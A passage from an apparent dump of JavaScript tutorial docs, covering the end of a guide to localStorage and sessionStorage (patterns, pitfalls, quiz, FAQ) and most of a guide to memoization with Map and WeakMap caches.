Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#local-storage).\n\n---\n\n## When to Use Which Storage Solution\n\nChoosing the right storage depends on your use case:\n\n| Need | Best Solution | Why |\n|------|---------------|-----|\n| User preferences (theme, language) | localStorage | Persists across sessions |\n| Shopping cart | localStorage | User expects it to persist |\n| Form wizard progress | sessionStorage | Temporary, per-tab data |\n| Authentication tokens | HTTP-only cookies | Secure from JavaScript |\n| Large structured data (>5MB) | IndexedDB | No size limit, async |\n| Data server needs to read | Cookies | Sent with every request |\n| Offline-first apps | IndexedDB + Service Workers | Full offline support |\n| Caching API responses | localStorage or Cache API | Depends on size/complexity |\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                     STORAGE DECISION FLOWCHART                               │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│   Does the server need to read it?                                           │\n│        │                                                                     │\n│        ├── YES → Use Cookies                                                 │\n│        │                                                                     │\n│        └── NO → Is it sensitive data (tokens, passwords)?                    │\n│                     │                                                        │\n│                     ├── YES → Use HTTP-only Cookies                          │\n│                     │                                                        │\n│                     └── NO → Is data > 5MB or complex/indexed?               │\n│                                  │                                           │\n│                                  ├── YES → Use IndexedDB                     │\n│                                  │                                           │\n│                                  └── NO → Should it persist across sessions? │\n│                                               │                              │\n│                                               ├── YES → Use localStorage     │\n│                                               │                              │\n│                                               └── NO → Use sessionStorage    │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Common Patterns and Use Cases\n\n### Theme/Dark Mode Preference\n\n```javascript\n// Save theme preference\nfunction setTheme(theme) {\n  document.documentElement.setAttribute(\"data-theme\", theme)\n  localStorage.setItem(\"theme\", theme)\n}\n\n// Load theme on page load\nfunction loadTheme() {\n  const savedTheme = localStorage.getItem(\"theme\")\n  const prefersDark = window.matchMedia(\"(prefers-color-scheme: dark)\").matches\n  const theme = savedTheme || (prefersDark ? \"dark\" : \"light\")\n  setTheme(theme)\n}\n\n// Toggle theme\nfunction toggleTheme() {\n  const current = localStorage.getItem(\"theme\") || \"light\"\n  setTheme(current === \"light\" ? \"dark\" : \"light\")\n}\n```\n\n### Multi-Step Form Wizard\n\n```javascript\n// Save form progress in sessionStorage (clears when tab closes)\nfunction saveFormProgress(step, data) {\n  const progress = JSON.parse(sessionStorage.getItem(\"formProgress\") || \"{}\")\n  progress[step] = data\n  progress.currentStep = step\n  sessionStorage.setItem(\"formProgress\", JSON.stringify(progress))\n}\n\n// Restore form progress\nfunction loadFormProgress() {\n  const progress = JSON.parse(sessionStorage.getItem(\"formProgress\") || \"{}\")\n  return progress\n}\n\n// Clear on successful submission\nfunction clearFormProgress() {\n  sessionStorage.removeItem(\"formProgress\")\n}\n```\n\n### Recently Viewed Items\n\n```javascript\nfunction addToRecentlyViewed(item, maxItems = 10) {\n  const recent = JSON.parse(localStorage.getItem(\"recentlyViewed\") || \"[]\")\n  \n  // Remove if already exists (to move to front)\n  const filtered = recent.filter((i) => i.id !== item.id)\n  \n  // Add to front\n  filtered.unshift(item)\n  \n  // Keep only maxItems\n  const trimmed = filtered.slice(0, maxItems)\n  \n  localStorage.setItem(\"recentlyViewed\", JSON.stringify(trimmed))\n}\n\nfunction getRecentlyViewed() {\n  return JSON.parse(localStorage.getItem(\"recentlyViewed\") || \"[]\")\n}\n```\n\n---\n\n## Common Mistakes and Pitfalls\n\n<AccordionGroup>\n  <Accordion title=\"1. Forgetting JSON.stringify/parse\">\n    ```javascript\n    // WRONG - stores \"[object Object]\"\n    localStorage.setItem(\"user\", { name: \"Alice\" })\n    \n    // CORRECT\n    localStorage.setItem(\"user\", JSON.stringify({ name: \"Alice\" }))\n    const user = JSON.parse(localStorage.getItem(\"user\"))\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Not handling null from getItem\">\n    ```javascript\n    // DANGEROUS - JSON.parse(null) returns null, but other code might fail\n    const settings = JSON.parse(localStorage.getItem(\"settings\"))\n    settings.theme  // TypeError if settings is null!\n    \n    // SAFE - provide default\n    const settings = JSON.parse(localStorage.getItem(\"settings\")) || {}\n    const theme = settings.theme || \"light\"\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. Assuming storage is always available\">\n    ```javascript\n    // WRONG - will crash in private browsing (Safari)\n    localStorage.setItem(\"key\", \"value\")\n    \n    // CORRECT - check first\n    if (storageAvailable(\"localStorage\")) {\n      localStorage.setItem(\"key\", \"value\")\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. Not handling QuotaExceededError\">\n    ```javascript\n    // WRONG - might throw\n    localStorage.setItem(\"bigData\", hugeString)\n    \n    // CORRECT - catch the error\n    try {\n      localStorage.setItem(\"bigData\", hugeString)\n    } catch (e) {\n      if (e.name === \"QuotaExceededError\") {\n        // Handle gracefully\n      }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"5. Storing sensitive data\">\n    ```javascript\n    // NEVER DO THIS\n    localStorage.setItem(\"authToken\", token)\n    localStorage.setItem(\"password\", password)\n    \n    // Use HTTP-only cookies for auth instead\n    ```\n  </Accordion>\n  \n  <Accordion title=\"6. Expecting storage event in the same tab\">\n    ```javascript\n    // This listener will NOT fire from changes in the SAME tab\n    window.addEventListener(\"storage\", handler)\n    localStorage.setItem(\"test\", \"value\")  // handler NOT called!\n    \n    // Storage events only fire in OTHER tabs with the same origin\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about localStorage and sessionStorage:**\n\n1. **Web Storage stores key-value string pairs** — Both localStorage and sessionStorage provide simple, synchronous access to browser storage scoped by origin\n\n2. **localStorage persists forever; sessionStorage clears on tab close** — Choose based on whether data should survive the session\n\n3. **Both are scoped to origin** — Protocol + domain + port; different origins can't access each other's storage\n\n4. **Only strings can be stored** — Use `JSON.stringify()` when saving and `JSON.parse()` when retrieving objects and arrays\n\n5. **Storage events enable cross-tab communication** — The event fires in OTHER tabs, not the one making the change\n\n6. **~5-10 MB limit per origin** — Handle `QuotaExceededError` gracefully\n\n7. **Private browsing may restrict storage** — Safari throws errors; others clear on close\n\n8. **Never store sensitive data** — localStorage is vulnerable to XSS attacks; use HTTP-only cookies for authentication\n\n9. **Always use feature detection** — Check availability before using, especially for private browsing compatibility\n\n10. **Choose the right storage for the job** — localStorage for preferences, sessionStorage for temporary state, cookies for server-readable data, IndexedDB for large data\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the key difference between localStorage and sessionStorage?\">\n    **Answer:**\n    \n    `localStorage` persists until explicitly cleared—data survives browser restarts and remains until you call `removeItem()` or `clear()`. \n    \n    `sessionStorage` is cleared when the browser tab closes. Each tab has its own isolated sessionStorage, while localStorage is shared across all tabs from the same origin.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why do you need JSON.stringify when storing objects?\">\n    **Answer:**\n    \n    Web Storage can only store strings. When you try to store an object directly, it gets converted to the string `\"[object Object]\"`, losing all your data.\n    \n    `JSON.stringify()` converts objects and arrays to JSON strings that can be stored and later restored with `JSON.parse()`.\n    \n    ```javascript\n    // Wrong - data lost\n    localStorage.setItem(\"user\", { name: \"Alice\" })  // \"[object Object]\"\n    \n    // Correct - data preserved\n    localStorage.setItem(\"user\", JSON.stringify({ name: \"Alice\" }))  // '{\"name\":\"Alice\"}'\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: Which tab receives the storage event—the one making the change or other tabs?\">\n    **Answer:**\n    \n    **Other tabs only.** The storage event fires in all tabs/windows with the same origin EXCEPT the one that made the change. This is by design to enable cross-tab communication without causing infinite loops.\n    \n    If you need to react to changes in the same tab, you'll need to implement that logic separately from the storage event.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What error is thrown when storage quota is exceeded?\">\n    **Answer:**\n    \n    `QuotaExceededError` (a type of `DOMException`). You should wrap `setItem()` calls in try-catch when storing potentially large data:\n    \n    ```javascript\n    try {\n      localStorage.setItem(\"key\", largeValue)\n    } catch (e) {\n      if (e.name === \"QuotaExceededError\") {\n        // Storage is full\n      }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: Is it safe to store JWT tokens in localStorage? Why or why not?\">\n    **Answer:**\n    \n    **No, it's not safe.** localStorage is vulnerable to XSS (Cross-Site Scripting) attacks. Any JavaScript running on your page can read localStorage—including malicious scripts injected by attackers.\n    \n    Authentication tokens should be stored in **HTTP-only cookies**, which cannot be accessed by JavaScript. This makes them immune to XSS attacks (though CSRF protection is still needed).\n  </Accordion>\n  \n  <Accordion title=\"Question 6: How can you check if localStorage is available?\">\n    **Answer:**\n    \n    Use feature detection with try-catch, because localStorage might be disabled, unavailable, or throw errors in private browsing mode:\n    \n    ```javascript\n    function storageAvailable(type) {\n      try {\n        const storage = window[type]\n        const testKey = \"__test__\"\n        storage.setItem(testKey, testKey)\n        storage.removeItem(testKey)\n        return true\n      } catch (e) {\n        return false\n      }\n    }\n    \n    if (storageAvailable(\"localStorage\")) {\n      // Safe to use\n    }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the difference between localStorage and sessionStorage?\">\n    `localStorage` persists data until explicitly cleared — it survives browser restarts and remains across all tabs from the same origin. `sessionStorage` is isolated to a single tab and cleared when that tab closes. Both share the same API and a ~5MB storage limit per origin.\n  </Accordion>\n\n  <Accordion title=\"How much data can localStorage store?\">\n    Most browsers provide approximately 5–10 MB per origin (protocol + domain + port). According to MDN, the exact limit varies by browser but is typically 5 MB. When you exceed this limit, `setItem()` throws a `QuotaExceededError` that you should handle with try-catch.\n  </Accordion>\n\n  <Accordion title=\"Is it safe to store sensitive data in localStorage?\">\n    No. The OWASP Foundation explicitly warns against storing sensitive data in Web Storage. Any JavaScript running on the page — including malicious scripts injected through XSS attacks — can read localStorage. Authentication tokens should be stored in HTTP-only cookies, which are inaccessible to JavaScript.\n  </Accordion>\n\n  <Accordion title=\"Does localStorage work in incognito or private browsing mode?\">\n    Behavior varies by browser. Safari may throw a `QuotaExceededError` on any write attempt in private mode. Chrome and Firefox allow localStorage but clear all data when the private window closes. Always use feature detection with try-catch before relying on localStorage.\n  </Accordion>\n\n  <Accordion title=\"How do I store objects in localStorage?\">\n    Use `JSON.stringify()` when saving and `JSON.parse()` when retrieving. localStorage can only store strings — storing an object directly converts it to the useless string `\"[object Object]\"`. Be aware that `Date` objects, `undefined` values, and functions are not preserved through JSON serialization.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"IndexedDB\" icon=\"database\" href=\"/beyond/concepts/indexeddb\">\n    For larger, structured data with indexes and queries\n  </Card>\n  <Card title=\"Cookies\" icon=\"cookie\" href=\"/beyond/concepts/cookies\">\n    For server-accessible storage and authentication\n  </Card>\n  <Card title=\"JSON Deep Dive\" icon=\"code\" href=\"/beyond/concepts/json-deep-dive\">\n    Master JSON serialization for complex data storage\n  </Card>\n  <Card title=\"DOM\" icon=\"window\" href=\"/concepts/dom\">\n    Understanding the browser document object model\n  </Card>\n</CardGroup>\n\n---\n\n## References\n\n<CardGroup cols={2}>\n  <Card title=\"Web Storage API — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API\">\n    Complete MDN documentation for the Web Storage API with examples and browser compatibility\n  </Card>\n  <Card title=\"localStorage — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage\">\n    Official reference for localStorage including exceptions, security considerations, and examples\n  </Card>\n  <Card title=\"sessionStorage — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage\">\n    Official reference for sessionStorage behavior, tab isolation, and page session lifecycle\n  </Card>\n  <Card title=\"StorageEvent — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/StorageEvent\">\n    Reference for the storage event interface used for cross-tab communication\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"LocalStorage, sessionStorage — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/localstorage\">\n    Comprehensive tutorial with interactive examples covering all Web Storage concepts. Great for hands-on learning.\n  </Card>\n  <Card title=\"Introduction to localStorage and sessionStorage — DigitalOcean\" icon=\"newspaper\" href=\"https://www.digitalocean.com/community/tutorials/js-introduction-localstorage-sessionstorage\">\n    Step-by-step guide covering basic to advanced usage patterns with practical code examples.\n  </Card>\n  <Card title=\"Using the Web Storage API — MDN\" icon=\"newspaper\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API\">\n    Official MDN guide with feature detection patterns and complete working examples.\n  </Card>\n  <Card title=\"OWASP HTML5 Security Cheat Sheet\" icon=\"shield\" href=\"https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#local-storage\">\n    Security best practices for Web Storage from the Open Web Application Security Project.\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Cookies vs Local Storage vs Session Storage\" icon=\"video\" href=\"https://www.youtube.com/watch?v=GihQAC1I39Q\">\n    Web Dev Simplified's clear comparison of all three client-side storage mechanisms with practical examples.\n  </Card>\n  <Card title=\"Local Storage & Session Storage — JavaScript Tutorial\" icon=\"video\" href=\"https://www.youtube.com/watch?v=AUOzvFzdIk4\">\n    Traversy Media's beginner-friendly tutorial walking through all Web Storage API methods.\n  </Card>\n  <Card title=\"localStorage in 100 Seconds\" icon=\"video\" href=\"https://www.youtube.com/watch?v=XPDcw1bYQbs\">\n    Fireship's quick overview of localStorage fundamentals. Perfect for a fast refresher.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/memoization.mdx",
    "content": "---\ntitle: \"Memoization in JavaScript\"\nsidebarTitle: \"Memoization: Caching Function Results\"\ndescription: \"Learn memoization in JavaScript. Cache function results, optimize expensive computations, build your own memoize function, and know when caching helps vs hurts.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Memory & Performance\"\n\"article:tag\": \"memoization, function caching, performance optimization, usememo, expensive computations\"\n---\n\nWhy does a naive Fibonacci function take forever for large numbers while a memoized version finishes instantly? Why do some React components re-render unnecessarily while others stay perfectly optimized?\n\nThe answer is **memoization** — an optimization technique that stores the results of expensive function calls and returns the cached result when the same inputs occur again.\n\n```javascript\n// Without memoization: recalculates every time\nfunction slowFib(n) {\n  if (n <= 1) return n\n  return slowFib(n - 1) + slowFib(n - 2)\n}\n\nslowFib(40)  // Takes several seconds!\nslowFib(40)  // Still takes several seconds...\n\n// With memoization: remembers previous results\nconst fastFib = memoize(function(n) {\n  if (n <= 1) return n\n  return fastFib(n - 1) + fastFib(n - 2)\n})\n\nfastFib(40)  // Takes milliseconds\nfastFib(40)  // Instant — retrieved from cache!\n```\n\nMemoization is built on [closures](/concepts/scope-and-closures), uses data structures like [`Map`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) and [`WeakMap`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap), and is the foundation for performance optimizations in frameworks like React.\n\n<Info>\n**What you'll learn in this guide:**\n- What memoization is and how it works under the hood\n- How to build your own memoize function from scratch\n- Handling multiple arguments and complex cache keys\n- When memoization helps vs when it actually hurts performance\n- Using WeakMap for memory-safe object memoization\n- Common mistakes that break memoization\n</Info>\n\n<Warning>\n**Helpful background:** This guide uses closures extensively. If you're not comfortable with how functions can \"remember\" variables from their outer scope, read our [Scope and Closures](/concepts/scope-and-closures) guide first. Understanding [Pure Functions](/concepts/pure-functions) also helps since memoization only works reliably with pure functions.\n</Warning>\n\n---\n\n## What is Memoization?\n\n**Memoization** is an optimization technique that speeds up programs by storing the results of expensive function calls and returning the cached result when the same inputs occur again. The term was coined by Donald Michie in 1968, derived from the Latin word \"memorandum\" (to be remembered), which is also the root of \"memo.\"\n\nThink of memoization as giving your function a notepad. Before doing any calculation, the function checks its notes: \"Have I solved this exact problem before?\" If yes, it reads the answer from the notepad. If no, it calculates the result, writes it down, and then returns it.\n\n```javascript\n// A memoized function has three parts:\n// 1. A cache to store results\n// 2. A lookup to check if we've seen this input before\n// 3. The original calculation as a fallback\n\nfunction memoizedDouble(n) {\n  // Check the cache\n  if (memoizedDouble.cache[n] !== undefined) {\n    console.log(`Cache hit for ${n}`)\n    return memoizedDouble.cache[n]\n  }\n  \n  // Calculate and store\n  console.log(`Calculating ${n} * 2`)\n  const result = n * 2\n  memoizedDouble.cache[n] = result\n  return result\n}\nmemoizedDouble.cache = {}\n\nmemoizedDouble(5)  // \"Calculating 5 * 2\" → 10\nmemoizedDouble(5)  // \"Cache hit for 5\" → 10 (no calculation!)\nmemoizedDouble(7)  // \"Calculating 7 * 2\" → 14\n```\n\n<CardGroup cols={2}>\n  <Card title=\"Map — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map\">\n    The Map object is ideal for memoization caches since it preserves insertion order and allows any value as a key\n  </Card>\n  <Card title=\"WeakMap — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap\">\n    WeakMap allows garbage collection of keys, making it perfect for memoizing functions with object arguments\n  </Card>\n</CardGroup>\n\n---\n\n## The Library Book Analogy\n\nImagine you're a librarian helping students with research questions. When a student asks \"What year did JavaScript first release?\", you have two options:\n\n1. **Without memoization:** Walk to the computer science section, find the right book, look up the answer, walk back, and tell the student \"1995.\" Every single time someone asks this question, you repeat the entire trip.\n\n2. **With memoization:** The first time someone asks, you do the lookup. But then you write \"JavaScript: 1995\" on a sticky note at your desk. The next time someone asks, you just read from the sticky note. No walking required.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    MEMOIZATION: THE LIBRARIAN'S DESK                     │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  WITHOUT MEMOIZATION                    WITH MEMOIZATION                 │\n│  ────────────────────                   ──────────────────               │\n│                                                                          │\n│   Student: \"When was JS released?\"       Student: \"When was JS released?\"│\n│                                                                          │\n│   ┌──────────┐                          ┌──────────┐                     │\n│   │ Librarian│                          │ Librarian│                     │\n│   │    😓    │ ─────► Walk to shelf     │    😊    │ ─► Check desk      │\n│   └──────────┘        Find book         └──────────┘    ┌─────────────┐  │\n│        │              Look it up             │          │ Sticky Note │  │\n│        │              Walk back              │          │ JS: 1995    │  │\n│        ▼              Tell student           ▼          └─────────────┘  │\n│   \"1995\" (slow)                         \"1995\" (instant!)                │\n│                                                                          │\n│   Next student asks...                  Next student asks...             │\n│   ↑ Repeat everything!                  ↑ Just read the sticky note!     │\n│                                                                          │\n│  Time: O(n) every time                  Time: O(1) for repeat queries    │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nThe \"sticky notes\" are your cache. The \"walking to the shelf\" is the expensive computation. Memoization trades memory (sticky notes) for speed (no walking).\n\n---\n\n## How to Build a Memoize Function\n\nLet's build a reusable `memoize` function step by step. This function will take any function and return a memoized version of it.\n\n### Step 1: Basic Structure\n\n```javascript\nfunction memoize(fn) {\n  const cache = new Map()  // Store results here\n  \n  return function(arg) {\n    // Check if we've seen this argument before\n    if (cache.has(arg)) {\n      return cache.get(arg)\n    }\n    \n    // Calculate, cache, and return\n    const result = fn(arg)\n    cache.set(arg, result)\n    return result\n  }\n}\n```\n\nThe returned function uses a [closure](/concepts/scope-and-closures) to maintain access to `cache` even after `memoize` has finished executing. This is how the function \"remembers\" previous results.\n\n### Step 2: Handle Multiple Arguments\n\nThe basic version only works with single arguments. For multiple arguments, we need to create a cache key:\n\n```javascript\nfunction memoize(fn) {\n  const cache = new Map()\n  \n  return function(...args) {\n    // Create a key from all arguments\n    const key = JSON.stringify(args)\n    \n    if (cache.has(key)) {\n      return cache.get(key)\n    }\n    \n    const result = fn.apply(this, args)\n    cache.set(key, result)\n    return result\n  }\n}\n\n// Now it works with multiple arguments\nconst add = memoize((a, b) => {\n  console.log('Calculating...')\n  return a + b\n})\n\nadd(2, 3)  // \"Calculating...\" → 5\nadd(2, 3)  // → 5 (cached!)\nadd(3, 2)  // \"Calculating...\" → 5 (different key: \"[3,2]\" vs \"[2,3]\")\n```\n\n### Step 3: Preserve `this` Context\n\nUsing `fn.apply(this, args)` ensures the memoized function works correctly as a method:\n\n```javascript\nconst calculator = {\n  multiplier: 10,\n  \n  calculate: memoize(function(n) {\n    console.log('Calculating...')\n    return n * this.multiplier  // 'this' refers to calculator\n  })\n}\n\ncalculator.calculate(5)  // \"Calculating...\" → 50\ncalculator.calculate(5)  // → 50 (cached, 'this' preserved)\n```\n\n### Complete Implementation\n\nHere's the full memoize function with all features:\n\n```javascript\nfunction memoize(fn) {\n  const cache = new Map()\n  \n  return function memoized(...args) {\n    const key = JSON.stringify(args)\n    \n    if (cache.has(key)) {\n      return cache.get(key)\n    }\n    \n    const result = fn.apply(this, args)\n    cache.set(key, result)\n    return result\n  }\n}\n```\n\n<Tip>\n**Quick test:** A well-implemented memoize function should pass this check: `memoize(fn)(1, 2) === memoize(fn)(1, 2)` should only call `fn` once (assuming `fn` is the same function reference stored in a variable).\n</Tip>\n\n---\n\n## Memoizing Recursive Functions\n\nMemoization shines brightest with recursive functions that have overlapping subproblems. The classic example is Fibonacci.\n\n### The Problem: Exponential Time Complexity\n\n```javascript\nfunction fibonacci(n) {\n  if (n <= 1) return n\n  return fibonacci(n - 1) + fibonacci(n - 2)\n}\n\n// fibonacci(5) creates this call tree:\n//                    fib(5)\n//                   /      \\\n//              fib(4)      fib(3)\n//             /    \\       /    \\\n//         fib(3)  fib(2) fib(2) fib(1)\n//         /   \\\n//     fib(2) fib(1)\n//\n// Notice: fib(3) is calculated TWICE\n//         fib(2) is calculated THREE times\n```\n\nFor `fibonacci(40)`, the naive version makes over 330 million function calls because it recalculates the same values repeatedly. According to computer science research, this transforms O(2^n) exponential time complexity into O(n) linear time — a reduction of over 99.99% in function calls.\n\n### The Solution: Memoized Fibonacci\n\n```javascript\nconst fibonacci = memoize(function fib(n) {\n  if (n <= 1) return n\n  return fibonacci(n - 1) + fibonacci(n - 2)\n})\n\n// Now the call tree is linear:\n// fib(5) → fib(4) → fib(3) → fib(2) → fib(1) → fib(0)\n//                                      ↑        ↑\n//                            (cached)  └────────┘\n\nfibonacci(40)  // Returns instantly\nfibonacci(50)  // Still fast — reuses cached values from fib(40)!\n```\n\n<Note>\n**The key insight:** The recursive call `fibonacci(n - 1)` references the memoized version, not the inner function. Each computed value is stored, so `fib(3)` is only ever calculated once, no matter how many times it's needed.\n</Note>\n\n### Performance Comparison\n\n| Input | Naive Fibonacci | Memoized Fibonacci |\n|-------|-----------------|-------------------|\n| n = 10 | ~177 calls | 11 calls |\n| n = 20 | ~21,891 calls | 21 calls |\n| n = 30 | ~2.7 million calls | 31 calls |\n| n = 40 | ~331 million calls | 41 calls |\n\nThe naive version has O(2^n) time complexity. The memoized version has O(n) time complexity.\n\n---\n\n## When Memoization Helps\n\nMemoization is most effective in specific scenarios. Here's when you should reach for it:\n\n<AccordionGroup>\n  <Accordion title=\"1. Expensive Computations\">\n    Functions that perform heavy calculations benefit most from caching.\n    \n    ```javascript\n    // Good candidate: CPU-intensive calculation\n    const calculatePrimes = memoize(function(limit) {\n      const primes = []\n      for (let i = 2; i <= limit; i++) {\n        let isPrime = true\n        for (let j = 2; j <= Math.sqrt(i); j++) {\n          if (i % j === 0) {\n            isPrime = false\n            break\n          }\n        }\n        if (isPrime) primes.push(i)\n      }\n      return primes\n    })\n    \n    calculatePrimes(100000)  // Slow first time\n    calculatePrimes(100000)  // Instant!\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Recursive Functions with Overlapping Subproblems\">\n    Dynamic programming problems where the same subproblem is solved multiple times.\n    \n    ```javascript\n    // Good candidate: Recursive with repeated subproblems\n    const climbStairs = memoize(function(n) {\n      if (n <= 2) return n\n      return climbStairs(n - 1) + climbStairs(n - 2)\n    })\n    \n    // Counts ways to climb n stairs taking 1 or 2 steps at a time\n    climbStairs(50)  // Would be impossibly slow without memoization\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. Functions Called Repeatedly with Same Arguments\">\n    When your application calls the same function with identical inputs many times.\n    \n    ```javascript\n    // Good candidate: Format function called in a loop\n    const formatCurrency = memoize(function(amount, currency) {\n      return new Intl.NumberFormat('en-US', {\n        style: 'currency',\n        currency: currency\n      }).format(amount)\n    })\n    \n    // In a table with 1000 rows, many might have the same price\n    prices.map(p => formatCurrency(p, 'USD'))  // Reuses cached formats\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. Pure Functions Only\">\n    Memoization only works correctly with pure functions. Same input must always produce same output.\n    \n    ```javascript\n    // ✓ GOOD: Pure function — safe to memoize\n    const square = memoize(n => n * n)\n    \n    // ❌ BAD: Impure function — DO NOT memoize\n    let multiplier = 2\n    const multiply = memoize(n => n * multiplier)  // Result depends on external state!\n    \n    multiply(5)  // 10\n    multiplier = 3\n    multiply(5)  // Still returns 10 from cache, but should be 15!\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## When Memoization Hurts\n\nMemoization isn't free. It trades memory for speed, and sometimes that trade isn't worth it.\n\n### 1. Fast Functions\n\nIf a function executes quickly, the cache lookup overhead might exceed the computation time.\n\n```javascript\n// ❌ BAD: Don't memoize simple operations\nconst add = memoize((a, b) => a + b)  // Overhead > benefit\n\n// The cache lookup (Map.has, Map.get) and key creation (JSON.stringify)\n// take longer than just adding two numbers!\n```\n\n### 2. Unique Inputs Every Time\n\nIf inputs are rarely repeated, the cache just consumes memory without providing speed benefits.\n\n```javascript\n// ❌ BAD: Random inputs are never repeated\nconst processRandom = memoize(function(data) {\n  return data.map(x => x * 2)\n})\n\n// Each call has unique data — cache grows forever, never provides a hit\nfor (let i = 0; i < 1000; i++) {\n  processRandom([Math.random()])  // Cache now has 1000 useless entries\n}\n```\n\n### 3. Functions with Side Effects\n\nMemoization assumes the function only returns a value. If it has side effects, those won't happen on cache hits.\n\n```javascript\n// ❌ BAD: Side effects are skipped on cache hits\nconst logAndDouble = memoize(function(n) {\n  console.log(`Doubling ${n}`)  // Side effect!\n  return n * 2\n})\n\nlogAndDouble(5)  // Logs \"Doubling 5\" → 10\nlogAndDouble(5)  // Returns 10, but NO LOG! Side effect was skipped.\n```\n\n### 4. Memory-Constrained Environments\n\nEach cached result consumes memory. For functions with large return values or many unique inputs, this can be problematic.\n\n```javascript\n// ⚠️ CAREFUL: Large return values eat memory fast\nconst generateLargeArray = memoize(function(size) {\n  return new Array(size).fill(0).map((_, i) => i)\n})\n\ngenerateLargeArray(1000000)   // Cache now holds 1 million integers\ngenerateLargeArray(2000000)   // Cache now holds 3 million integers\n// Memory keeps growing with each unique input!\n```\n\n<Warning>\n**The memory trap:** Standard memoization caches grow forever. In long-running applications, this can cause memory leaks. Consider using cache eviction strategies (LRU cache) or `WeakMap` for object keys.\n</Warning>\n\n---\n\n## WeakMap for Object Arguments\n\nWhen memoizing functions that take objects as arguments, `JSON.stringify` has problems:\n\n```javascript\n// Problem 1: Objects with same content create different keys\nconst obj1 = { a: 1 }\nconst obj2 = { a: 1 }\nJSON.stringify(obj1) === JSON.stringify(obj2)  // true, but...\n\n// Problem 2: Object identity is lost\nconst cache = new Map()\ncache.set(JSON.stringify(obj1), 'result')\ncache.has(JSON.stringify(obj2))  // true — but obj1 and obj2 are different objects!\n\n// Problem 3: Memory leak — objects can't be garbage collected\n// Even if obj1 is no longer used elsewhere, the stringified key keeps data alive\n```\n\n[`WeakMap`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap) solves these problems:\n\n```javascript\nfunction memoizeWithWeakMap(fn) {\n  const cache = new WeakMap()\n  \n  return function(obj) {\n    if (cache.has(obj)) {\n      return cache.get(obj)\n    }\n    \n    const result = fn(obj)\n    cache.set(obj, result)\n    return result\n  }\n}\n\nconst processUser = memoizeWithWeakMap(function(user) {\n  console.log('Processing...')\n  return { ...user, processed: true }\n})\n\nconst user = { name: 'Alice' }\nprocessUser(user)  // \"Processing...\" → { name: 'Alice', processed: true }\nprocessUser(user)  // Cached! (same object reference)\n\nconst sameData = { name: 'Alice' }\nprocessUser(sameData)  // \"Processing...\" (different object, not cached)\n```\n\n### WeakMap Benefits\n\n1. **Memory-safe:** When an object key is no longer referenced elsewhere, both the key and its cached value can be garbage collected\n2. **Object identity:** Caches based on object reference, not content\n3. **No serialization:** No need to stringify objects\n\n### WeakMap Limitations\n\n- Keys must be objects (no primitives)\n- Not iterable (can't list all cached entries)\n- No `size` property (can't check cache size)\n\n```javascript\n// Hybrid approach: Use both Map and WeakMap\nfunction memoizeHybrid(fn) {\n  const primitiveCache = new Map()\n  const objectCache = new WeakMap()\n  \n  return function(arg) {\n    const cache = typeof arg === 'object' && arg !== null \n      ? objectCache \n      : primitiveCache\n    \n    if (cache.has(arg)) {\n      return cache.get(arg)\n    }\n    \n    const result = fn(arg)\n    cache.set(arg, result)\n    return result\n  }\n}\n```\n\n---\n\n## Common Memoization Mistakes\n\n### Mistake 1: Memoizing Impure Functions\n\n```javascript\n// ❌ WRONG: Function depends on external state\nlet taxRate = 0.08\n\nconst calculateTax = memoize(function(price) {\n  return price * taxRate\n})\n\ncalculateTax(100)  // 8\ntaxRate = 0.10\ncalculateTax(100)  // Still 8! Cache doesn't know taxRate changed.\n\n// ✓ CORRECT: Make the dependency an argument\nconst calculateTax = 